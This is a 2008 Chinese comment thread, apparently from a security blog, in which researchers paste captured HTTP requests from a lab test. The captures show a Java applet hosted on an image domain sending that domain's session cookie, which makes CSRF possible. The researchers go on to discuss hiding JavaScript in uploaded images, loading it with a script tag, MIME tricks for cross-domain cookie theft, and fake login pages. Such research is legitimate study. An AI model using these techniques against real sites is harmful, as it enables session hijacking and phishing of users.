Host: 192.168.0.86
Connection: Keep-Alive
Cookie: ASPSESSIONIDQQSQAATB=NCHHMLIABEELHBOEOFCMGEPB
这个文件用来保存cookie。注意host。
GET /b.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://192.168.0.86/
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: 192.168.0.86
Connection: Keep-Alive
Cookie: ASPSESSIONIDQQSQAATB=NCHHMLIABEELHBOEOFCMGEPB; Co

42、空虚浪子心: 2008-08-12 13:11
GET /b.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://192.168.0.86/
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: 192.168.0.86
Connection: Keep-Alive
Cookie: ASPSESSIONIDQQSQAATB=NCHHMLIABEELHBOEOFCMGEPB; Cookie1=kxlzx=testok
第二个包,尝试打开b.asp这里已经有了a.asp里保存的cookie

43、空虚浪子心: 2008-08-12 13:12
GET /wwwroot/test.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: 192.168.0.222
Connection: Keep-Alive
这里访问applet的页面。

44、空虚浪子心: 2008-08-12 13:12
GET /Ghost.class HTTP/1.1
accept-encoding: gzip
Host: 192.168.0.86
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
If-Modified-Since: Mon, 11 Aug 2008 06:24:28 GMT
Cookie: ASPSESSIONIDQQSQAATB=NCHHMLIABEELHBOEOFCMGEPB; Cookie1=kxlzx=testok
applet的页面请求了class,因为class在86上。

45、空虚浪子心: 2008-08-12 13:13
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.86
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Cookie: ASPSESSIONIDQQSQAATB=NCHHMLIABEELHBOEOFCMGEPB; Cookie1=kxlzx=testok

最后这个包,就是applet访问了那个b.asp!成功了!!里面有cookie!

46、空虚浪子心: 2008-08-12 13:14
根据这几个包,针对图片所在域名的CSRF实施一定可以成功!我去弄环境。。。

嘿嘿。。。

48、空虚浪子心: 2008-08-12 13:29
呵呵,恭喜你测试通过。

我说的session cookie实际上就是保存的session id.

实际上这里还有点局限性,就是和jar文件所在的域有关,很多大网站都是有单独的域名来存放上传文件。

一般分为3种:
1.比如google,纯粹用了个不一样的域名
2.比如百度,用的是一个二级域名比如hiphotos.baidu.com
3.比如cnitblog,用的是顶级域名,这种最不安全

第一种纯粹不一样的域名这种基本不用考虑了,我们需要挑战的是第二种,从二级域名突破到顶级域名。 直接在applet里访问 www.baidu.com是不行的,所以还是只能访问 hiphotos.baidu.com

但是百度在这里比较脆弱的是,二级域名和顶级域名的cookie是相同的,所以我才会考虑看能否把发送时候的request cookie给抓出来,目前看来是失败了。

不过我还有点其他的想法,比如图片里写个js文件传上去,然后让applet去访问这个GIFJS,控制MIME头,只要能够让浏览器解析图片里的js并且执行,就有可能取到cookie,不过目前还没有很好的方法来验证这个想法。

49、空虚浪子心: 2008-08-12 14:39
关于域名的问题,的确是这样子的。
本来只有一个socket permission,指的是applet的html文件所在域。但是因为在applet去那个域名下取class(或者jar)时,自动赋予了一个socket Permission。所以我们可以请求那个jar所在的域。
而socket固定添加的就是某一个指定的域名,就像JS的跨域限制一样,子域名都不可以通过。
正因为如此,你前面说的想对127.0.0.1发包,是不可行的。

而你说的这个方法,让applet去访问这个GIFJS,可以使用java的流,
把这个js load到applet里执行。但是这时候这个JS即使执行了,也是applet页面域下的JS,不可能拿到cookie。
如果你要用JS取cookie,除非保证JS是在图片的那个域下执行的。

目前除了让IE自动解析jpg为html外,我没有其他办法。

50、空虚浪子心: 2008-08-12 15:14
呵呵,除了取cookie外,我们还可以钓鱼的。做个假页面让他登录。等等。。。没必要非得拿他的cookie不可。
这样的方法,我不知道能不能绕过IE8。。。反正IE7是执行了。
<script src=a.jpg></script>

51、空虚浪子心: 2008-08-12 16:36
script标签的src属性是和文件后缀名无关的。

我想可以尝试在当前窗口(A域)下新开一个window.open,让浏览器去访问B域下的图片,但是却解析为js。

比如http头里为:Content-type:text/javascript

如果能用applet控制这一过程,也许有希望。

53、空虚浪子心: 2008-08-12 17:17
通常浏览器都会阻止弹出页面。
另,这一过程得在图片所在的服务器控制图片才可以,不能再applet那里控制。
如果不是图片,实际上是个asp等动态语言,就可以控制Content-type部分,最终生成个图片,但是这样做没意义。
“(A域)下新开一个window.open,让浏览器去访问B域下的图片”当新开的这个页面访问了b域的时候,页面就会认为自己是B域的。
我很想知道IE8解析MIME的过程。。。我去看看你的文章。。。

真郁闷。。。applet能写个sniffer就好了。。。YYing…

相关日志

发表评论